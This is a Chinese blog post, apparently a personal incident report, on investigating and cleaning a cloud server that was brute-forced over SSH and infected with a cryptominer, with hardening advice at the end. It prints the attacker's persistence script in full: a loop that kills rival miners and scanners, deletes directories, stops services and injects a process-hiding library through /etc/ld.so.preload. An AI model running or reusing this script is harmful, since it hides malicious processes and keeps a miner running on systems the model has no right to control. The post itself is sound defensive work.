一、服务器入侵现象
近期有一个朋友的服务器(自己做了网站)好像遭遇了入侵,具体现象是: 服务器 CPU
资源长期 100%,负载较高。 服务器上面的服务不能正常提供服务。
朋友处理了一会没有解决,我开始想说我不是搞安全的,我怎么会,但朋友开出了天价,一顿海底捞,我在生活和现实面前低头了。 开始上手看看了。
二、服务器排查和处理
2.1、服务器被入侵的可能原因
- 服务器
ssh
密码 设置得很简单。 - 腾讯云安全组范围放得很大。
- 使用了宝塔,宝塔面板的密码也是很简单的密码(应该不是这个入侵入口)。
2.2、排查和处理步骤
ps -ef
/top
找出占用进程最大的服务问题现象
ps/top
命令 已经被替换了。- 查找详细的入侵痕迹
last
或者grep 'Accepted' /var/log/secure
。问题现象
[root@VM-12-12-centos ~]# grep 'Accepted' /var/log/secure Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2 Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2 Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2 Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8 Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8 Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2 Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8 Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8
lighthouse 腾讯云轻量服务器
我们在这里就可以看到,有一些
境外IP 34.215.138.2
成功登录了,这些IP
不是我们的正常登录。 在/var/log/secure
日志里,我看到了IP 34.215.138.2
尝试登录不到500次 就已经破解成功了。处理措施
这里我们立马采取了第一个措施,
- 在腾讯云安全组限制了 SSH 的登录
IP
, 之前的安全组 SSH 是放行所有IP
。 - 将 SSH ROOT 密码修改。
/root/.ssh/authorized_keys
备份,并清空。[root@VM-12-12-centos ~]# cp -rp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied
这时我们就遇到了权限的问题,这个晚点展开讲,因为我们已经限制了源
IP
, 所以这个我们可以晚点来处理。
- 在腾讯云安全组限制了 SSH 的登录
- 查看最近新增的一些用户
问题现象
cat /etc/passwd
处理措施
锁定用户
[root@VM-12-12-centos ~]# usermod -L sys1
- 我这里不计划去找进程(已经在新建一台版本一致的系统, 来拷贝
top
和ps
命令,需要一小会,我们趁这个时间,先看看其他),因为之前朋友重启过服务器,发现服务器启动过一会才会负载较高。我认为入侵者应该放了一些定时任务和启动脚本里面。问题现象
定时任务
crond
读取配置文件会从以下几个路径读取:/var/spool/cron/
, 由crontab -e
进行写入,配置文件无需指定用户/etc/crontab
,只能root
进行编辑,配置文件需指定用户/etc/cron.d/
,在此文件夹下创建定时任务文件,配置文件需指定用户/etc/cron.*
/var/spool/cron/
未找到(后面会说到这里有障眼法)/etc/crontab
未找到(后面会说到这里有障眼法)但是我在
/var/log/cron
一直看到有任务执行。每间隔5分钟。Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M ) Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1) Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root ) Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root ) Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M )
处理措施
这里我们先做的操作就是,先把
/usr/lib/mysql/mysql
和/sbin/httpss
给删除。删除的时候还是提示没有权限。我们知道这些文件应该是加琐了,所以我开始解锁,我们发现chattr
也被替换和锁住了。 所以不能操作下去了。开机启动脚本
/etc/rc.local
, 我们也发现了一个脚本。[root@VM-12-12-centos ~]# cat /etc/rc.local #!/bin/bash # THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES # # It is highly advisable to create own systemd services or udev rules # to run scripts during boot instead of using this file. # # In contrast to previous versions due to parallel execution during boot # this script will NOT be run after all other services. # # Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure # that this script will be executed during boot. /usr/bin/0f4f80f9ab start
但是这个文件好像不存在的,我们就把这个给注释了。
- 还原更改了
top
、ps
、chattr
、lsattr
.- 首先我们从相同版本的机器拷贝了
chattr
、lsattr
, 我们得先操作这个, 因为我们的top
和ps
都被锁住了。 - 我将文件上传至
/tmp
目录,然后增加可执行权限,然后先给/usr/bin/chattr
解除锁定。/tmp/chattr -ai /usr/bin/chattr
- 执行完之后,发现还是不能替换
/usr/bin/chattr
。 最后耗费了一段时间才反应到,入侵者可能不仅仅加锁了文件还加锁了/usr/bin/
。 - 解锁目录
/tmp/chattr -ai /usr/bin/
- 这下才能把
/usr/bin/chattr
给替换掉。 - 接下来参考这些,我们把
top
和ps
、lsattr
给还原了。
部分截图
- 首先我们从相同版本的机器拷贝了
三、本次入侵需要带来启示的点
ps
、top
、chattr
、lsattr
在这些命令被替换了,并且我们想还原又还原不了的场景,我们可以拷贝同版本的机器相同的命令放在其它目录,用这些命令来解除入侵者将它已经替换并锁定了文件。 注意有些入侵者不仅会在文件层面加锁,还会在当前的文件的目录这一层加锁。我之前在这个上面困惑了一段时间。
- 文件内容隐藏
上文中,我执行
crontab -l
和 cat 查看/etc/cron.d/
下面的文件。发现文件没有内容。其实不知道使用了什么特殊字符还是什么隐藏了, 其实是存在定时任务的。
示例:
这个配置是如何导致 cat/more 看不了的, 今天再次看了下,这个文件可能是被当成了数据文件,因为我把这个文件 file 查看了之后,文件属性是data. 然后文件包含的特殊字符。导致隐藏了,我在这里 服务器入侵之找出隐藏字符的原理 把这个来龙去脉给讲清楚了。
- 其中一个脚本。
[root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464 #!/bin/sh while test 1 = 1 do sleep 30 pkill -f main killall main killall sprshduerjsaia pkill -f sprshduerjsaia killall dr64 pkill -f dr64 killall .report_system pkill -f .report_system killall sshc pkill -f sshc pkill -f memory killall memory killall warmup killall koko killall kthreaddk killall systemc killall cront killall xm64_linux killall /var/tmp/j/./intelshell pkill -f dos32 pkill -f dos64 pkill -f .name pkill -f /usr/sbin/dbus pkill -f systemd-boot-check-no-failures killall .report_system pkill -f .report_system pkill -f keep-alive pkill -f linu pkill -f zapppp killall [scan] killall [ext4] pkill -f xm64_linux pkill -f ddrirc killall ./-bash pkill -f ./-bash killall kworkers killall dbus pkill -f biden1 pkill -f cpuminer-sse2 killall work64 pkill -f work64 killall work32 pkill -f work32 killall aarch12 pkill -f aarch12 killall bash1 pkill -f bash1 killall intelshell pkill -f intelshell killall heaven pkill -f heaven killall .syst3md pkill -f .syst3md pkill -f apachelogs killall .meinkampf pkill -f .meinkampf killall xri pkill -f xri killall koko pkill -f koko killall work32-deamon pkill -f work32-deamon killall work64 -deamon pkill -f work64 -deamon killall secure.sh pkill -f secure.sh kkillall auth.sh pkill -f auth.sh killall autoupdate pkill -f kworkers pkill -f autoupdate killall ld-linux pkill -f ld-linux pkill -9 Donald killall -9 Donald pkill -f /usr/local/bin/pnscan pkill -f /usr/bin/biden1 killall /usr/bin/biden1 killall r killall trace pkill -f minerd killall minerd pkill -f xm64 killall xm64 pkill -f sysdm killall sysdm pkill -f syst3md killall syst3md pkill -f xrig killall xrig pkill -f busybox killall busybox pkill -f joseph killall joseph pkill -f osama killall osama killall daemon pkill -f obama1 killall obama1 pkill -f kswapd0 killall kswapd0 pkill -f jehgms killall jehgms pkill -f tsm killall tsm pkill -f rig killall rig pkill -f xmr killall xmr pkill -f playstation killall playstation pkill -f ld-linux-x86-64 killall ld-linux-x86-64 pkill -f ruckusapd killall ruckusapd pkill -f run64 killall run64 pkill -f pwnrig killall pwnrig pkill -f phpupdate killall phpupdate pkill -f sysupdate killall sysupdate pkill -f phpguard killall phpguard pkill -f firstpress killall firstpress pkill -f zerocert killall zerocert pkill -f masscan killall masscan pkill -f -bash pkill -f spreadQlmnop killall spreadQlmnop killall -bash pkill -f cnrig killall cnrig pkill -f netvhost killall netvhost pkill -f kthreadds killall kthreadds pkill -f kthreadd killall kthreadd pkill -f kdevtmpfsi killall kdevtmpfsi pkill -f linuxservice killall linuxservice pkill -f rtmonitor killall rtmonitor pkill -f dev killall dev pkill -f xmrig killall xmrig pkill -f master killall master killall sysmd pkill -f sysmd pkill -f sendmail killall sendmail pkill -f ld-musl-x86_64. killall ld-musl-x86_64. killall watchdog pkill -f watchdog pkill -f 32678 killall 32678 killall dhpcd pkill -f dhpcd killall linux_amd64 pkill -f linux_amd64 killall xredis pkill -f xredis killall Linux2.6 killall .chornyd pkill -f .chornyd killall Opera pkill -f Opera killall libertyd pkill -f libertyd killall rcubind pkill -f rcubind killall clamscan pkill -f clamscan killall pnscan pkill -f pnscan killall zzh pkill -f zzh killall bioser pkill -f bioser rm -rf /root/.configrc/ rm -rf /tmp/.X26-unix/ rm -rf /tmp/.bash/ rm -rf /root/.bash/ rm -rf /root/.cache/ rm -rf /tmp/.cache/ rm -rf /dev/shm/.ssh/ rm -rf /etc/.etcservice/linuxservice rm -rf /etc/.vhost/netvhost rm -rf /tmp/up.txt rm -rf /var/tmp/.update/ rm -rf /var/tmp/.systemd/ rm -rf /usr/sbin/.bash./.bash/ rm -rf /etc/master rm -rf /usr/bin/busybox rm -rf /bin/sysmd rm -rf /tmp/.mx/ rm -rf /dev/shm/.mx/ rm -rf /usr/bin/xrig rm -rf /etc/32678 rm -rf /root/c3pool/ rm -rf /usr/bin/.sshd/ rm -rf /tmp/div systemctl stop c3pool_miner.service systemctl stop pwnriglhttps.service systemctl stop cryto systemctl stop scan systemctl stop bot systemctl stop myservice.service systemctl stop netns.service systemctl stop cryptsetup.service echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload lockr +ai /etc/ld.so.preload >/dev/null 2>&1 chmod 777 /usr/lib/mysql/* /usr/lib/mysql/./mysql done
我们可以看到这个脚本其实一直在 更改
/etc/ld.so.preload
的内容。 并且在关闭一些扫描软件和系统的服务。在 Linux 操作系统的动态链接库加载过程中,动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容,并将读取到的动态链接库进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载,它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。
——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》
我已经删除了
/usr/local/lib/libprocesshider.so
文件,之后每次执行命令会有这个报错。我在清空文件
/etc/ld.so.preload
之后,我发现好了一会后,还是出现这个,我再看/etc/ld.so.preload
文件,里面又写了/usr/local/lib/libprocesshider.so
,我怀疑还有定时任务,但是我找了一会定时任务,还是没有找到。 后面在查看异常进程的时候,我看到了这个进程发现这个脚本的就是一直在循环执行上面内容。 将这个进程 kill 后,然后删除脚本。
四、本次服务器被入侵的一些启示
- 用好云厂家的安全组。对一些关键端口,放行规则尽量最小/
- 服务器相关的一些密码尽量增加复杂性。
- 增加对一些关键文件的监控. (通过监控软件监控 md5值)
- /etc/passwd
- /etc/shadow
- /etc/group
- /root/.bash_history
- /root/.ssh/authorized_keys
- /etc/ssh/sshd_config
- /etc/profile
- /var/spool/cron/root
- /etc/crontab
- /etc/ld.so.preload
- /etc/rc.local
- lsof
- ps
- netstat
- top
- ls
- pstree
- last
- history
- sudo
- password
chattr
lsattr
- 服务器入侵之后,我们需要怎么处理才是最好的。
https://cloud.tencent.com/document/product/296/9604
https://help.aliyun.com/document_detail/40994.htm?spm=a2c4g.11186623.0.0.75c56956NVPBST
- 服务器如果有开放SSH 远程登录,可以设置限制登录(安全组、或者服务),只放行自己的
IP
. 查找详细的入侵痕迹last
或者grep 'Accepted' /var/log/secure
/root/.ssh/authorized_keys /etc/passwd 这些文件也可以看下。将一些新建的用户锁定。
- 服务器如果可以关闭外网,就关闭外网。 在安全组层面设置下,或者路由或者NAT。
- 首先看下
ps/top
命令有没有被篡改, 如果有的话, 从其他正常的机器上拷贝至服务器上。 然后执行查看异常进程。也要查询下/etc/ld.so.preload
是否有被篡改。如果有的的话,记得清空里面的内容,然后将对应的文件删除或者重命名。
如果使用过程中遇到了文件不可删,不可改的问题,需要使用
chattr -ia 文件名
如果chattr
也被串改,那就需要从别的机器拷贝。然后复原。 - 如果上述没有找到,可以通过
netstat
间接查看异常的连接从而查询异常进程。 - 检查开机启动 和
crontab
相关的内容 。 - 检查异常进程。
- 服务器如果有开放SSH 远程登录,可以设置限制登录(安全组、或者服务),只放行自己的
以上就是这次入侵的处理过程和得到的一些小启示,后续有了解新的会继续补充。